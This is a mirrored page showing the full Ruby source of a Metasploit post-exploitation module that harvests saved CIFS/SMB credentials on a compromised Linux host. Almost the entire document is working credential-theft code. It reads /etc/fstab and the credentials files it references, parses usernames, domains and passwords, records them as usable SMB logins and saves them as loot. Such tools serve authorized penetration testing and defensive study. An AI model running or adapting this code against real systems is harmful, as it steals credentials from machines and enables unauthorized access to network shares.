Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/mount_cifs_creds.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
14
'Description' => %q{
15
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
16
/etc/fstab on a Linux system.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
20
'Platform' => ['linux'],
21
'SessionTypes' => ['shell', 'meterpreter'],
22
'Notes' => {
23
'Stability' => [CRASH_SAFE],
24
'SideEffects' => [],
25
'Reliability' => []
26
}
27
)
28
)
29
end
30
31
def run
32
# keep track of any of the credentials files we read so we only read them once
33
cred_files = []
34
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
35
creds = []
36
# A table to store the found credentials for loot storage afterward
37
cred_table = Rex::Text::Table.new(
38
'Header' => 'mount.cifs credentials',
39
'Indent' => 1,
40
'Columns' =>
41
[
42
'Username',
43
'Password',
44
'Server',
45
'File'
46
]
47
)
48
49
# parse each line from /etc/fstab
50
fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
51
read_file('/etc/fstab').each_line do |fstab_line|
52
fstab_line.strip!
53
# where we'll store the current parsed credentials, if any
54
cred = {}
55
# if the fstab line utilizies the credentials= option, read the credentials from that file
56
next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})
57
58
cred[:host] = ::Regexp.last_match(1)
59
# IPs can occur using the ip option, which is a backup/alternative
60
# to letting UNC resolution do its thing
61
cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
62
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
63
file = ::Regexp.last_match(1)
64
# skip if we've already parsed this credentials file
65
next if cred_files.include?(file)
66
67
# store it if we haven't
68
cred_files << file
69
# parse the credentials
70
cred.merge!(parse_credentials_file(file))
71
# if the credentials are directly in /etc/fstab, parse them
72
elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
73
cred.merge!(parse_fstab_credentials(fstab_line))
74
end
75
76
creds << cred
77
end
78
79
# all done. clean up, report and loot.
80
creds.flatten!
81
creds.compact!
82
creds.uniq!
83
creds.each do |cred|
84
if Rex::Socket.dotted_ip?(cred[:host])
85
report_cred(
86
ip: cred[:host],
87
port: 445,
88
service_name: 'smb',
89
user: cred[:user],
90
password: cred[:pass],
91
proof: '/etc/fstab'
92
)
93
end
94
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
95
end
96
97
# store all found credentials
98
unless cred_table.rows.empty?
99
print_line("\n" + cred_table.to_s)
100
p = store_loot(
101
'mount.cifs.creds',
102
'text/csv',
103
session,
104
cred_table.to_csv,
105
'mount_cifs_credentials.txt',
106
'mount.cifs credentials'
107
)
108
print_status("CIFS credentials saved in: #{p}")
109
end
110
end
111
112
def report_cred(opts)
113
service_data = {
114
address: opts[:ip],
115
port: opts[:port],
116
service_name: opts[:service_name],
117
protocol: 'tcp',
118
workspace_id: myworkspace_id
119
}
120
121
credential_data = {
122
origin_type: :session,
123
module_fullname: fullname,
124
username: opts[:user],
125
private_data: opts[:password],
126
private_type: :password,
127
session_id: session_db_id,
128
post_reference_name: refname
129
}.merge(service_data)
130
131
login_data = {
132
core: create_credential(credential_data),
133
status: Metasploit::Model::Login::Status::UNTRIED,
134
proof: opts[:proof]
135
}.merge(service_data)
136
137
create_credential_login(login_data)
138
end
139
140
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
141
# Returns the username+domain and password as a hash.
142
def parse_fstab_credentials(line, file = '/etc/fstab')
143
creds = {}
144
# get the username option, which comes in one of four ways
145
user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
146
if user_opt
147
case user_opt
148
# domain/user%pass
149
when %r{^([^/]+)/([^%]+)%(.*)$}
150
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
151
creds[:pass] = ::Regexp.last_match(3)
152
# domain/user
153
when %r{^([^/]+)/([^%]+)$}
154
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
155
# user%password
156
when /^([^%]+)%(.*)$/
157
creds[:user] = ::Regexp.last_match(1)
158
creds[:pass] = ::Regexp.last_match(2)
159
# user
160
else
161
creds[:user] = user_opt
162
end
163
end
164
165
# get the password option if any
166
creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)
167
168
# get the domain option, if any
169
creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
170
171
creds[:file] = file unless creds.empty?
172
173
creds
174
end
175
176
# Parse mount.cifs credentials from +file+, returning the username+domain and password
177
# as a hash.
178
def parse_credentials_file(file)
179
creds = {}
180
domain = nil
181
read_file(file).each_line do |credfile_line|
182
case credfile_line
183
when /domain=(.*)/
184
domain = ::Regexp.last_match(1)
185
when /password=(.*)/
186
creds[:pass] = ::Regexp.last_match(1)
187
when /username=(.*)/
188
creds[:user] = ::Regexp.last_match(1)
189
end
190
end
191
# prepend the domain if one was found
192
creds[:user] = "#{domain}\\#{creds[:user]}" if domain && creds[:user]
193
creds[:file] = file unless creds.empty?
194
195
creds
196
end
197
end
198
199